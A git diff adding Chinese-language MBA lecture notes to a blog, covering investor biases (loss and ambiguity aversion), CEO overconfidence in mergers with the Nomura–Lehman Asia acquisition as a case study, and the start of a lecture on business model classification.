比如，我对二级市场投资者的建议是，你今天先把这个股票卖掉，明天市场调整之后，再把这个股票买回来。我相信，大家这么操作之后，就会跟我在课上讲的专业交易员一样，卖掉之后，你会发现自己的心态突然平和、客观、公正了。尽管卖掉的那一步是非常难的，卖掉之后你永远可以选择把这个股票买回来，虽然很多投资者在那个时候都会客观地选择不会再买回来，但一旦你告诉自己这个股票明天还可以再买回来，你就会觉得卖出的决定不再那么难受。 + +2.4 模糊规避 + +此外，大家还看到，另外一个规避—对于模糊的规避。什么是模糊规避呢？ 比如投资者对本国股票特别的关注和喜欢。我在耶鲁大学研究的一个领域就是这一点。我发现，投资者特别喜欢自己公司的股票，自己城市的股票，自己国家的股票，自己所在行业的股票。 + +为什么投资者会有这种倾向呢？ + +首先，熟悉。 熟悉会增强你和这个股票的亲和度或你自认为的了解度。但这种熟悉并不一定能够帮助你获得更高的投资收益，这一点我们在前文都已讨论过。 + +其次，熟悉可以降低你的风险意识，越熟悉你会觉得越安全。 各个国家的投资者都特别喜欢本国的上市公司。比如芬兰投资者最喜欢的公司就是诺基亚，因为他觉得这是我最熟悉、最了解的。然而信息越多，越有可能产生过度自信。所以，你会发现，投资者在面对可能看起来更熟悉的情况里面，他做的决定反而是非常错误的。所以，我对投资者的建议是要进行多元化的全球的资产配置。从实际操作上，进行全球化的资产配置可能有很大的难度，但其实在我回国之初的一两年里，我一直在和监管层、企业家、在座各位投资者讲，希望鼓励大家更多、更积极地进行全球化的资产配置。 + +记得前几年上课的时候，我说自从2008年开始，我们中国的经济是“雄”冠全球，过去几年，我们的A股也是“熊”冠全球。如果我们能够让中国居民家庭，中国的投资者有更开放的心态，相对消极地配置一些海外资产，我认为于国于民都是非常好的做法。所以，我们必须要意识到投资最大的核心是多元化，投资最核心的任务是风险管理。 + +那如何能够更好地进行风险管理？ 如果我们对自己的自信心不是太过强烈的话，我们就会客观地认识到，我们无法准确地判断任何一只股票或者任何一个市场今后的走势。如果这个前提大家可以相信的话，那么进行多元化是一个不是选择的选择。 + +三、课程总结 + +本讲中，我们所讲的这两种行为偏差，过度自信和损失规避，两者其实是联系在一起的。你越是对自己有信心，越会觉得自己有很强的把握，那些东西不了解也可以。但反之你越是对自己的认知有所认识，对自己的局限性能够客观面对的话，你越有可能意识到自己的局限恰恰可以帮助自己管理风险，帮助自己带来更高收益。 + +下面总结一下本讲所涉及的两个内容—过度自信和损失规避。对于过度自信，大家通过驾驶技能的实验，已经意识到它是一个普遍的社会现象和心理现象，可能导致我们在决策过程中过度草率。由于过度自信，你会对某些行为有非常强烈的规避心态。但回避并不能帮你降低风险，反而降低你进行投资组合多元化的可能性，从而导致你的投资组合会面临更大的风险。 + +![](/uploads/2019/06/03-135.png) + +以上就是本讲的全部内容，谢谢大家！ \ No newline at end of file diff --git a/_posts/2019-06-03-396-mba0904.md b/_posts/2019-06-03-396-mba0904.md new file mode 100644 index 0000000..316b4cd --- /dev/null +++ b/_posts/2019-06-03-396-mba0904.md @@ -0,0 +1,217 @@ +--- +layout: post +title: 【行为金融学模块】 第4节 高管的致命行为决策 +pid: 396 +tags: [mba] +--- +行为金融学第四讲笔记 + +前言 + +行为金融学第一讲主要分享了宏观经济中人的行为或者人的行为决策对于宏观经济运行的影响。第二讲和第三讲更关注于微观层面，作为一个具体的投资者，在整个决策过程中展现出来的行为方式和偏差。来到第四讲，我主要想跟大家分享关于高管的一些行为趋势和行为偏差。 + +在西方商业教育里面，大家如果去海外商学院读MBA，一定会有两节金融必修课程，一个是投资学，一个是公司金融。投资学是有关于二级市场投资领域的内容，而公司财务或公司金融更多是公司内部如何进行决策的内容，我一直不希望把整个金融的内容割裂成投资学和公司金融。所以，本讲想跟大家更多讨论在企业内部的决策过程中，公司高管行为、市场的行为、公司高管和市场之间的互动会对企业的融资投资决策，会对资本市场对于上市公司的看法产生什么样的影响。 + +在讲到行为金融对于公司财务或者公司金融的影响之前，我们先讲讲公司金融究竟是研究什么的，公司的董事长、CEO、CFO最关注的金融决策有哪些。 + +大家想想，上市公司有哪些重大决策会对它的股价有很大影响？首先，他要上市才能成为一个上市公司；其次，上市是公司融资的过程，使公众投资者能够把资金交给这个公司来使用。除了通过发行新股上市之外，还可通过发行债券进行融资，采取自有资金进行滚存发展。这一系列问题往往涉及公司如何融资，如何能从其他的投资者获得资金，这是一个公司日常运行过程中很重要的一方面。那么，投资者为什么要把钱交给上市公司？一定是认为把钱交给上市公司比自己管理能带来更高收益。公司在融得资金后，很重要的任务就是要投资，把获得的资金投到一个能够给投资者带来更高收益的用途上。 + +上市公司主要通过什么方式进行投资呢？内部投资和外部投资。 + +内部投资是通过研发、渠道，上下游系统的构建，提升公司获利的空间。 + +外部投资是通过收购兼并，通过资本市场的助力，将更优质的资产并入公司。 + +那么，并购对于上市公司有什么好处呢？并购会带来协同效应或增量，并购能极大降低交易费用，这都是收购和兼并对于一个企业的作用。 + +一、为什么收购“凶多吉少” + +1.1 企业收购的动机 + +本讲，行为金融学将从另外一个角度探讨并购可能面临的风险和挑战，我将从人的角度、管理者的角度、管理者心态的角度来探讨为什么收购会“凶多吉少”。 + +总结起来，中国企业过去5到10年在海外进行的很多收购，很多失败都是由于没有能够成功收购被收购目标。但在过去几年，我们会发现，只要是中国企业去的地方就无往而不胜。中国企业想买什么，就能买什么。但由此所引发了一系列问题，很多中国企业家在收购之后，很难把收购的企业整合起来。更有甚者，由于文化冲突、监管、劳工等问题，在完成收购之后，甚至不能够保证被收购企业的正常运行。 + +—案例:上汽收购案例 + +下面给大家分享上汽在韩国收购双龙汽车的案例。上汽在收购这个企业之后，由于对韩国的劳工情况不够了解，出现了韩国工人大量的罢工和游行，韩国工人甚至把上汽派出的员工锁在一个独立的建筑里面劫持为人质。这反映了并购其实是一个比较复杂的过程，并购的风险不只是针对中国特定的时点、特定的市场，如果用海外成熟市场的视角来看，并购仍然是一项挑战很多，风险很大的商业活动，而这些风险可能来自于高层管理者的心态或者心理认知的过程。这是接下来的课程中我想跟大家讨论的第一个问题。 + +总结起来，企业收购的动机包括： + +第一，突破增长瓶颈。 企业从投资者或二级市场获得资金后，如果增长很有潜力是不需要进行收购的。收购的一个很重要的原因是企业的增长放缓或面临瓶颈。这个时候企业往往有两个办法突破瓶颈，一个办法是扩大市场，比如纵向一体化、扩大产品的服务对象来创造商业机会；还有一种是通过重要技术的进步，能够让自己做一些原来想做，但是不能完成的工作。 + +第二，高管涨薪的需要。 我在很多企业做独立董事，一个很简单的原因是，高管的薪酬是和企业的规模相关联的，高管的薪酬是由所在企业在行业中对标的位置决定的。这也就决定了，同样是一份CEO的工作，你在越大的企业做CEO，你的薪酬就越高。不但如此，在西方很多上市公司里面，完成重大的收购兼并交易，公司的高管会获得特别的奖励。所以，这里面有超出股东价值之外的，上市公司进行收购和兼并的一些考虑。 + +第三，构建商业帝国。 公司高管每年收入上百万、上千万的现金，对他来说收入已经变得不是很重要了。除了收入，在行业里面受到大家的尊敬更重要。在每个高管的心中，可能都有构建一个商业帝国的雄心壮志或虚荣心。 + +第四，羊群效应。 比如两家企业并购之后，原本处在一个相对比较宽松状态的，如行业第二名和第三名并购了，行业第一的公司突然发现自己的优势不太明显了，甚至自己的规模已经被第二和第三的企业超过了，为了应对竞争，它很可能会去并购其他企业，扩张自己的规模。 + +第五，过度自信。 有些企业家觉得自己能够把这家公司管好，一定也可以把其他公司管好，或者自己可以把这么大的公司管好，也可以把更大的公司管好。在这个过程中，不可避免地会产生自己的管理能力和优势的认知与现实生活中真实的能力之间的差异。 + +![](/uploads/2019/06/03-136.png) + +1.2 赢者的诅咒 + +我往往会讲一个简单的道理，这个道理是由一名英国的经济学家所提出的。这个经济学家曾获得了诺贝尔奖，专门研究拍卖理论。假设大家都知道这瓶水值十块钱，如果我们采用荷兰式拍卖，你要出一个价拍卖这瓶水，只有出价最高的那个人才能买到这瓶水。我想问的是，真正能够拍卖到这瓶水的人会付什么样的价钱？ + +不管他出的是什么价钱，他一定出的价格要高过十块钱，为什么要高过十块钱？因为大家都知道这瓶水值十块钱，所以大家都想，这个十块钱是一个他真正物有所值的价格，人人都愿意出这个价格。但是出这个价格，你是不能赢得这个拍卖的。如果我们把一个收购和兼并的过程当做是一个拍卖过程的话，我们会发现，最终能够赢得拍卖的标的或者目标公司的这个公司，一定要出一个比大家认知价格更高的价格，这就是赢者的诅咒。你确实赢得了这个拍卖，诅咒来自于你花了比你应该花的更多，所以这是个悖论。 + +所以，在美国尤其是80年代出现的收购兼并狂潮，那些在多轮竞价过程中成功进行收购的企业，几年后往往沦为其他公司收购的目标。因为在收购其他企业的时候，原来的收购方付出了过高的代价，浪费了太多的资源，以至于损耗了自己的实力。最后，反而螳螂捕蝉，黄雀在后，变成了被其他公司收购的目标。 + +1.3 过度自信CEO与并购 + +下面我们来分析一下，什么样的CEO算是巨星CEO或明星CEO？我在加州大学的同事做了一项研究，面对一个样本，在全国的媒体中得奖的CEO、对全国性电视和媒体有巨大影响的CEO、声名显赫的CEO，比较明星CEO一般的CEO有哪些不同，发现明星CEO表现出如下特征： + ++ 他们花更多的时间写回忆录 ++ 在更多其他公司中担任独立董事 ++ 更喜欢进行盈余管理 ++ 更喜欢在高尔夫球场上花更多的时间 + +大家会发现，明星CEO在管理公司之外花的时间越来越多，在公司内部花的时间越来越少。这一现象对于那些公司治理相对薄弱的公司，体现得非常明显。在没有董事会约束的前提下，明星CEO会做一些自己觉得更有满足感和乐趣的活动。另外，这些明星CEO、持有本公司大量股票的CEO和那些增持了本公司大量股票的CEO有一个比较明显的趋势，就是他们收购其他企业的可能性明显增加。 + +所以，并不是所有的CEO进行收购和兼并的可能性是一样的，一些CEO特别喜欢收购和兼并。明星CEO、持有本公司大量股票的CEO和最近增持了本公司股票的CEO，这三者之间有一个共通之处在于都对自己和对自己所管理的企业拥有高度的信心。通过员工持股计划获得大量的本公司股票之后，本可以在二级市场进行减值，但是这些CEO不但没有进行减值，反而还积极地在二级市场进行增值，这都表明了明星CEO对于自己的管理能力、对于自己企业的前景是非常有信心的。 + +![](/uploads/2019/06/03-137.png) + +图1 1980-1994年美国主板上市公司股票的数据 + +那么，大家看一下图1，这是1980-1994年美国主板上市公司股票的数据，红线是自信CEO管理的企业，黄线是其他CEO管理的企业。大家可以看到，红线远远高于黄线。红线反映了自信CEO管理的企业进行并购或者收购的可能性，黄线是其他一般CEO进行收购和兼并的可能性。这个数据表明，自信CEO所进行的收购和兼并的强度远远高于一般CEO。 + +这点和我们刚才讲的收购和兼并的动机是紧密联系在一起，越是自信的CEO越有构建商业帝国的冲动，越有很强的代理问题，同时也有更强烈的自信。那真正的问题来了，他们是否能够把一个新收购的企业管理好或者至少没有太大的差距？ + +我们发现，同行业的同等规模的公司，一个比较谦虚的CEO所管理的公司和自信CEO所进行收购之后的公司相比，进行收购的公司比其他没有进行收购的公司在今后三年里面股票表现要低15—26%。 + +一些公司表现不好之后，作为金融行业的人，第一反应就是有两种可能性。第一， 这些公司确实不如其他公司。第二， 公司之间并没有差异，是投资者对于公司的估值或者判断产生了差异或错误。我们看到股价的差异之后，往往第一反应是要看一看企业经营状况是不是有差异。进行收购兼并的企业，你的盈利能力究竟是不是跟原来一样，或者跟同类公司相比，盈利能力是提升了还是落后了。 + +我们发现，如果观察资产收益率或者投资回报率，它们的表现也和股价有类似之处，进行收购和兼并的企业，它的盈利能力、资本回报率不但没有提升，反而是下降了。也就是说，资本市场并没有误读这个公司，是这个公司自己的盈利能力和业绩增长出现放缓和衰退。 + +回到我们在第三个单元里面问大家这个问题，如果投资者投资是亏钱的，他为什么还要去二级市场进行投资？类似的问题可以转移公司金融的环境里面，如果公司高管知道自己收购之后，企业的增长还不如不进行收购的企业，公司为什么要去进行收购？ + +我再强调一下行为偏差对于投资决策的影响，投资决策对于公司绩效的影响。看起来非常成功的公司高管也受到了过度自信的影响。也就是对于自己能力的判断，对于企业发展的预测可能和事后真实发展的情况之间存在一个巨大的差异。 + +这就是为什么我们在讨论公司金融、行为公司金融时必须要结合资本市场反映的原因。公司金融讲的并不只是公司内部的事情，很多上市公司的一举一动也会对资本市场的投资人产生影响。与此同时，资本市场投资者的行为偏差和行为方式也会约束或者影响上市公司的决策。 + +我们有大量的公司金融的行为，比如公司的上市的决定，公司发债的决定，公司分红的决定，公司回购股票的决定，公司改名的决定，都不是随机发生的。很多上市公司的决策都是为了能够迎合二级市场投资者的偏好或者当时市场的情绪或者市场的热点。这是非常有趣的事情。所以我觉得，我们虽然讲的是行为公司金融，但是我希望大家一定要意识到，公司金融里面很多决策最后做给谁看了？谁做给我们二级市场的投资者来看的。 + +1.4 投资者对公司收购行为的评价 + +那么二级市场怎么看待进行收购和兼并的企业呢？ + +![](/uploads/2019/06/03-138.png) + +图2 并购研究 + +图2是美国大型收购和兼并交易中，收购方在收购兼并交易公布的前一天到后一天的三个交易日里面，公司股价会出现什么样的波动。 + +为什么要进行这样的分析？在公司金融的研究中，我们假设二级市场投资者能够正确评价一个事件、一个公告、一个公司的决定是好还是坏。 + +那么，来看一看市场投资者觉得收购和兼并对于收购方公司股票来讲究竟是不是一个好的消息。 + +第一，资本市场不太喜欢公司去收购其他企业。 + +相比市场平均水平，这三天收购方公司的股票是跑输30个基准点。也就是说，如果你没有公布这个消息，你的公司收益可以稍微高一点。 + +第二，进行现金出价和股票出价的交易有非常不同的结果。 + +用现金进行收购的交易往往会受到市场的追捧，而通过换股的方式（国内基本上大量都是换股的方式）进行收购往往不受到市场的认可。在换股过程中，资本市场会对收购方产生一定的猜疑。比如你为什么要用自己的股票去换别人的股票，是被收购方的股票被低估了吗？还是自己公司的股票被高估了？ + +大家可能忘记了，2015年曾是整个A股市场的并购的活跃年份。很多公司的实际控制人知道自己的公司值不了那么多钱，所以他要把现在被高估很多的资产换成一个高估没有那么多的资产。所以，你会看到，往往收购和兼并是集中发生在历史里面两个阶段，一个是市场的顶部，一个是市场的底部。 发生在底部是因为有很多便宜货。发生在顶部是因为，很多公司都希望在顶部能够有效的套现自己当时被严重高估的公司的股票。 + +1.5 现金收购与股票收购 + +看过NBA的同学应该知道有一个球队叫达拉斯小牛队。小牛队的拥有者叫做马克库班，是个脾气非常暴躁的企业家。在互联网泡沫的时候，他把自己创建的一个公司卖给雅虎公司，卖了55亿美金，自己拿大概一半左右的财富。更了不起的是，他在换成了雅虎公司的股票后，和高盛签了个对赌协议，把自己持有的雅虎公司的股票全都套现。不但自己套现了，还跟自己的创业团队说，大家都应该去套现，咱们公司肯定不值55亿美金，雅虎公司的股票也肯定不值它现在的价钱。然而雅虎那当时是什么地位？雅虎正是如日中天的时候，是互联网门户的第一股。但仅仅两年后，就被谷歌搞下去了。 + +所以从某种意义上来讲，为什么换股交易得不到市场的认可？是因为市场上的投资者、二级市场的投资者很难去揣测收购时的心态。而如果采取现金收购的话，第一，你拿的是真金白银，所以你一定是认为被收购方的企业值这个钱，才愿意从口袋里拿出这么多钱来。第二，如果一个企业愿意拿出一两亿的现金的话，这个企业一定不会很差。所以，现金收购说明你整个企业的财务状况还是比较有吸引力的。这就是为什么我们看到，通过现金收购和股票收购得到市场的反映是完全不同的。 + +还有一个很重要的研究是，由自信的CEO进行的交易和其他的CEO所进行的交易，市场给予的认可度是非常不同的。对于现金交易来讲，如果由一般CEO完成的话，市场给予的是正面的反映，而如果由自信的CEO完成的话，市场给予的是一个负面的反映。 + +所以，通过二级市场反映的研究，我想跟大家强调的是，二级市场投资者也会不自觉地把公司金融运行过程中，高管的一些心理的活动考虑进去了。因为高管的心理会影响决策，决策又会影响公司的业绩和今后的股票表现。 + +1.6 两个启发 + +所以，为什么说收购“凶多吉少”？我讲的并不是极端的例子，通过很多的交易跟大家分享，收购兼并本身是一个好事情，但通过不同交易的组织形式和通过不同的企业进行交易，可能对资本市场的影响是不一样的，它给现有股东的财富影响也是不一样的。 + +我用这一系列的数据来说明两个方面的问题： + +第一，希望同学能够关注收购兼并过程中可能产生的挑战和风险。 + +收购兼并不是一本万利、一趟坦途的。在这个过程中，资本市场会对你提出很多质疑，所以希望大家意识到，收购需要高超的管理水平、金融经验、团队构建，需要非常大的系统工程才能成功完成。 + +第二，要意识到资本市场、上市公司、公司金融之间的互动。 + +我希望大家不要把公司金融和资本市场割裂起来看待，而是把它们看作是一个有机的整体。到底是什么因素把两者拉在一起呢？其实是我们投资者自身的行为和自身的判断，把原来我们认为割裂的投资学和公司金融这两个领域，把它融合在了一起，我觉得这点其实是我个人对于金融的理解，在金融的教学过程中，我觉得对传统的一些金融理论或者理念的提升，所以我想跟大家分享一下。所以这是第一个部分内容，给大家稍微做一个小结。 + +二、野村收购雷曼案例 + +大家已经知道我在雷曼和野村证券都工作过。我给大家分享一下，野村证券当时收购雷曼兄弟亚洲业务这个看起来非常简单和成功的案例，是怎么一步步走入死循环的。 + +2.1 收购背景 + +这是个很有趣的案例，我个人也有一些比较独特的视角。我亲身经历了这次收购，在收购完成离开雷曼之后，非常巧合的和野村证券全球的CEO在博鳌论坛里相遇，我们又对这个交易进行了一个复盘。先给大家介绍一下背景。雷曼兄弟在破产之前是北美排名第三或者第四的投资银行。正是因为它的破产，才变得家喻户晓。在这之前，它在美国并不是一家非常主流的投行。雷曼与其他券商不同的是：它的很大一部分业务集中在固定收益领域，很大一部分利润来自于交易业务。它于2008年9月15日，一夜之间哄然倒塌。但这个倒塌并非没有任何征兆，在这之前雷曼的股价从80美元跌到五六块钱。在这个过程中，公司的CEO还整天出来说公司运营非常好，还要跟做空公司股票的人奋战到底。最后，还没有奋战到底，公司已经没有了。 + +这个事件让我印象非常深，我可能一辈子都会记得这个场景：我在雷曼的纽约办公室的一个同事，他是韩国人。公司破产之后，我马上给他打了一个电话，我问：“兄弟，你怎么样了？”他沉默了一秒钟后说：“我这辈子存的钱都没了。”这个事情告诉我们，公司风险对任何一个员工的影响都不能小觑。所以，我还是希望大家能够尽可能进行多元化。尤其这段时间出现了一些P2P平台的“暴雷”事件。对于一些家庭或投资者的遭遇，我非常同情，但也很惋惜。我很不解的是，大家怎么会把全部的家庭财富都投入到单一的投资平台上，风险实在太大了！ + +在这个过程中，雷曼CEO迪克+ 富德做了两件非常有名的事：第一，雷曼兄弟破产之后，他接受了很多媒体采访说，我仍然不能相信，美联储怎么可能让雷曼兄弟破产。第二，他加入雷曼兄弟之后，在2008年4月，也就是贝尔斯登公司破产之后，其他的公司和投行都在对有毒资产次贷证券避之不及的时候，他指示雷曼的交易员说：“那些公司根本没经历过大世面，现在面值一块钱的债券都卖到五块钱了，赶紧四毛钱全都买进来，以后市场反弹了，咱们一定赚得盆满钵满。”正是由于他的过度自信，自认为对市场的把握比其他人更准确，最后敲定了雷曼的棺材上的最后一根木板。 + +野村证券毫无疑问是全日本最大的证券公司，由于它的风格比较保守，在金融危机的时候反而没有受到很大的冲击。它的操盘手渡部贤一先生毕业于哈佛商学院，是野村证券的终身雇员，热爱歌剧，信仰禅宗，每过一两个周末，都会到寺里住一个晚上。他和原来雷曼以及野村的同事都说，对于我们野村来讲，这是我一辈子才会有一次的收购和兼并的机会，终于有一个一线的西方投行能落入我们野村证券的怀抱。谁成想，这个一辈子一次的机会却变成了一辈子一次的噩梦。 + +当时雷曼决定卖给野村是因为公司接近破产，雷曼兄弟非常着急。所以，雷曼兄弟的亚洲部分是和两个潜在的收购方进行沟通，一个是英国的巴克莱银行，一个是日本的野村证券。巴克莱出资一亿美元，野村证券出资两亿美元。实际上，这一亿美元对于公司没有很大差距，但是真正打动雷曼兄弟高管的收购手段是野村证券提出的金色降落伞加上金色手铐。 + +什么是金色降落伞呢？ 所有的雷曼本地区的高管，享受以2007年当时的薪酬的水平固定的两年或者三年的保证奖金。什么叫做金色手铐？ 如果你自己申请离职的话，这个钱就没了。但哪怕你在公司睡两年，这个钱也是拿回家的。 + +对于很多雷曼高管来讲，这可能是一个好到难以拒绝的条款。尽管雷曼高管意识到，自己和野村在文化上很难匹配，并且两个公司在业务上有很多的重叠，但公司高管自己的目标和利益促进了这次收购交易。 + +这个交易看起来非常顺利，也非常成功的。因为在所有可能的交易方式中，我想不出还要比这个交易更加简单的。去过香港的朋友知道，野村证券在香港中环的IFC二期，过去的雷曼兄弟也在IFC二期，不但同在一个楼里，两个公司在合并之前用的都是同一家电梯。但大家往往忽略的一个现实是，在整个投资银行界，最重要的资产是人，因为人是最难管的，也是最难控制的。 + +在整个收购兼并过程中，新的野村证券的各个业务领域都突然出现了很大增长，一时间公司的人多了，一个团队变成两个团队，而且两个团队的人都干劲十足。因为大家都知道，公司不能一直保持两个团队并行，一定会有人留下，有人离开。员工一定要在老板面前表现自己的能力。所以，这种鲶鱼效应不但有一个规模上的扩张，同时也促进了员工的能动性和积极性。所以，在短期我们会发现，这是一个非常成功的收购和兼并交易。 + +2.2 巨额的奖金与人员的流失 + +问题出在第一次发分红上，在发第一年奖金的时候，野村证券突然发现雷曼兄弟高管的奖金是自己高管奖金的2-3倍。雷曼人的想法是，我们是虎落平阳，先到这儿工作两年以后，经济好转了再转到一个美资或外资银行，在这暂时委屈两年。野村证券的前员工想的是，这些败军之将何以言勇，来我们这儿工作挣的钱比我们还多。马上，公司内部文化开始逐渐分化了。 + +所以，在短期看整合很成功，但到中长期，问题就变得复杂起来，很多部门甚至出现了联席主管。比如，原来野村有个主管，雷曼也有个主管，业务上公司又想让雷曼的人多做一点，组织架构上又想让野村的人管控更强一些。所以，当时雷曼的人基本管野村的人叫政委，主要是保障雷曼员工认真工作的。结果是，一方面，雷曼觉得我没有原来那么高的身价，另一方面，野村人觉得，雷曼这群人不但要拿走更多的钱，还有可能抢他们的饭碗。于是就开始了各种各样的猜忌。所以，最后几乎雷曼的人在做业务，野村的同事在控制整个内部架构。 + +我在这三个月的时间里，搬了四个不同的办公室。我的工作需要很多数据，一开始这些数据是来自于我雷曼的美国同事，后来雷曼的美国业务卖给巴克莱银行之后，数据就来自于野村，于是我就又搬到野村这边工作。对于交易平台和研究部门的结构也是一再调整，比如公司内部出现了很多并行团队，两套体系，两个IT系统相互的不能够很好的整合。还有一个，经历我印象很深。大概在2009年，当时的野村房地产分析员和雷曼的房地产分析员对于香港市场写了两个意见完全相反的报告，都顶着野村证券的旗号发给客户。 + +当时，如果投资市场扩张比较快，年景比较好的话，大家也会相对比较平和。但是到了2011年，市场又出现一个小幅的调整，所有拿了两年的奖金的雷曼员工全都离职了，拿了三年奖金的员工也基本离职了。所以，一方面是人员的流失，一方面是策略的更迭。结果是虽然海外的很多券商从2008—2012年股价都出现了一倍甚至多倍的上涨，但在全球金融危机过程中，几乎毫发无伤的日本野村证券，它的股价反而在金融危机之后大大低于金融危机爆发最严重的时期。所以，很多看上去很美的交易，很好的设计，最后的决定者仍然在人。具体来讲，更集中在少数几个高管人的肩膀上。这些高管对于整个事态的把握，对于情况的了解，对于沟通的控制会决定收购交易的成败与否。 + +2.3 野村收购案例小结 + +总结起来，我觉得野村收购雷曼失败的原因有三点：第一， 我觉得野村证券对于进行收购外资或西方券商太过乐观了。第二， 雷曼兄弟的高管在出售本公司的时候，有意无意地隐瞒或忘记提醒很多关键信息的内容。第三， 在进行跨境交易和跨境收购的时候，没有意识到文化的冲突。 + +我给大家对比一下野村和雷曼两个一线的国际投行之间的文化冲突，如表1所示。 + +![](/uploads/2019/06/03-139.png) + +表1：雷曼与野村文化冲突对比 + +从这一点上讲，我想问大家两个问题： + ++ 为什么收购兼并是如此复杂的一个过程？ ++ 我们为什么要关注自己的核心价值或者收购兼并的战略目标？ + +事后我和野村证券的CEO复盘时，他跟我讲：“我仍然认为，我们应该进行这样的收购。收购雷曼兄弟彻底改变了传统野村证券作为一个日本券商的文化。现在我们很多做法终于和一些国际上的券商接轨了。其中包括：第一，改变了终身雇佣制，我不用再一辈子雇一个员工了。第二，打破了年金序列制。” + +年金序列制 就是我们原来讲论资排辈。不管你赚了多少钱，都要看你的层级和在企业工作的时间。我觉得说得有一定道理。所以，看待一个收购和兼并交易，既要看它的战略意义和价值，也要看它的财务和战术意义。 + +因此，我们在进行收购和兼并时要注意：第一， 一定要克服自己的个人自信心。要想清楚通过一次收购和兼并交易达成什么战略目的，完成什么样的目标。这点不是用股价的波动，也不是用估值的多少来衡量的。这个会对整个企业长期的发展有非常长久的影响。所以这点我希望站在企业负责人的角度，尤其是可能跟收购和兼并有关的业务的同学，能够从这个经验或者教训里面明白：我究竟希望通过一个收购和兼并完成什么？第二， 整合之殇。看起来野村收购雷曼是简单得不能再简单的交易，然而一个简单的不能再简单的交易尚且复杂到如此程度，如果是一个复杂的不能再复杂的程度的交易怎么办呢？ + +当年，联想电脑收购IBM的PC业务之后，在北美有各种各样的联想电脑，有写着IBM联想电脑，有只写联想电脑的。我想跟大家强调的是，在收购兼并的时候，一定要事先想好在收购之后，用什么策略和手段，进行资产和团队的整合。 + +你完全没有想到收购另外一家企业可能是什么情况，就像野村证券收购雷曼兄弟的时候，完全没有想到雷曼的高管拿那么多钱。收购雷曼只用了两亿美元，可第一年给所有雷曼员工的薪酬是20亿美元，这就是认知偏差。如果你没经历过这么高的薪酬，你确实很难想到，同是投资银行家，为什么别人家的员工比自己家贵这么多？但这恰恰是作为一个管理者、真正的操盘手必须要想到的。 + +三、总结 + +所以我想给大家总结一下： + +第一，收购兼并是公司发展的一个重要手段，但一定不要认为收购兼并是一个万能的良药。 兼并后融合的困难很大程度上就在于管理者对自己整合能力和跨行业管理企业能力的高估。 + +第二，不要低估整个过程中可能会发生的风险和不确定性。 收购兼并是复杂的商业交易，导致交易失败的一个很重要的原因是公司高管没有对交易的复杂程度进行充分的准备。 + +第三，对中国企业来讲，跨文化融合是更大的挑战。 大家这段时间可能已经感受到了我们在全球的领域里有一些策略的调整。这个现象很正常，也很普遍。任何一个新兴的经济，在逐渐取代过去的经济霸主的过程中，这种不同的想法和价值取向几乎是不可避免的。美国取代英国，日本短暂超过美国，都发生过不同国家的价值观，不同国家的战略，不同的经济增长模式之间的摩擦和冲突。这点无可厚非，但是我希望大家仍然有换位思考的能力。由于我们处于不同的发展阶段，所以大家不可避免对于问题的看法，价值体系是有很大差异的。怎么更好地规划投资前景，怎么规划企业的发展？我觉得我们必须要跳出中国过去三四十年成功的经济发展的奇迹去看这个问题。我觉得，大家必须要用一个长的时间维度和国际的开放性的视角来思考这个问题。比如其他的国家在我们类似的发展阶段，他们面临过什么样的挑战，他们面临过什么样的风险？他们最后汲取了什么样的教训？不只是日本，东南亚四小龙、中国台湾、韩国、中国香港，在发展到一定的阶段时，房地产行业和实体经济有什么样的关系？债务水平对经济会产生什么样的影响？货币政策会对于本币的估值和汇率估值产生什么样的冲击？ + +这门课有两个目标，第一，这门课不一定能帮大家挣更多的钱，但是想帮助大家挣该挣的钱，不要亏不该亏的钱。第二，我希望给大家提出很多值得思考的问题。爱因斯坦曾经讲过：提出问题往往是整个解决问题过程中最重要的一部分。如果通过这个课程能让大家有独立思考的能力，这是我觉得作为教授最重要的一个职责和使命。我曾经听清华的校长讲，大学者非大楼也，而是大师也。大师不同的地方在于能够帮助和激发大家去进行更多的思考，我希望这门课能给同学们带来一些思考。 + +非常感谢大家的聆听！谢谢！ + +全模块结束 \ No newline at end of file diff --git a/_posts/2019-06-03-397-mba0802.md b/_posts/2019-06-03-397-mba0802.md new file mode 100644 index 0000000..66597b6 --- /dev/null +++ b/_posts/2019-06-03-397-mba0802.md @@ -0,0 +1,300 @@ +--- +layout: post +title: 【商业模式模块】 第2节 商业模式和原理和实践下 +pid: 397 +tags: [mba] +--- + +商业模式理论与实践（下） + +国家政策风云突变，商业世界瞬息万变，企业必须不断打破固有商业模式，重新定义新的商业模式，才能立于不败之地。本讲中，魏教授将通过分析Facebook、Google、携程等企业的商业模式，讲述商业模式分类、中美商业模式差异及商业模式设计三度空间。 + +一.商业模式分类 + +1.1 商业模式背景 + +第一，运用一套概念、符号描述这个现实世界。正如哲学家讲有3个世界，客观存在的现实世界、每个人的心理世界、符号世界，我们通过符号世界，即人类创造的语言、文字、图片、数学模型等，将心理世界和现实世界交互，这是一种人与人、人与物之间的交互。 + +从前的世界，变化总是很慢，符号世界是稳定的；而今的世界，车水马龙、变幻莫测，原来的概念可能被改变、被颠覆，符号世界需要增加新的内容。从前的世界，我们呱呱坠地、上学读书、离开校园，彻底和学习作别；而今的世界，我们必须保持好奇心、大量阅读、终身学习，否则就会与现实世界脱轨。 + +第二，要从不同角度对商业模式进行分类。 + +第三，要弄清事物之间的因果关系，即这个世界在不同条件下的不同结果。 + +1.2 商业模式分类标准 + +商业模式主要有6个分类标准。 + +第一，按照交易方式，可划分为O2O（Online to Offline）模式，场景模式等。 + +第二，按照现金流结构来设计，例如企业是重资产还是轻资产模式。 + +第三，按照用户类型，即利益相关方划分。例如，2B、2C、2G的模式都是按照相关利益方主题、角色定位来划分。 + +第四，按照盈利模式，可划分为进场费、过路费、停车费、免费、分享费等。 + +第五，按照资源能力，可划分为资源型、用户型、能力型、技术型。 + +第六，按照业务类型，可划分为软一体化、硬一体化、整合型、平台型、合伙人等。 + +![](/uploads/2019/06/03-140.png) + +1.3 业务系统类型 + +业务类型主要是从战略角度来划分，横轴为焦点企业，表示利益相关方。每一个利益相关方都是独立的利益主体，从事价值链环节的业务活动，例如研发、生产、销售、配送、服务等。横轴左边为业务活动环节少，右边为业务活动多。 + +![](/uploads/2019/06/03-141.png) + +纵轴表示资产轻重，上轻下重，表示公司固定资产占总资产的比例，占比高为重资产，占比低为轻资产。轻资产和重资产本质上是一个企业自己拥有的某个资源或者能力的杠杆率，如果资源能力的杠杆率较高，就是轻资产；如果杠杆率较低，就是重资产。特别要说的是，咨询公司、会计事务所虽然没有很多固定资产，但是也为重资产企业，因为其人力资源占比较大。另外，一些自有资金较少，大量依靠外部利益相关方资源的企业也称为轻资产的公司。 + 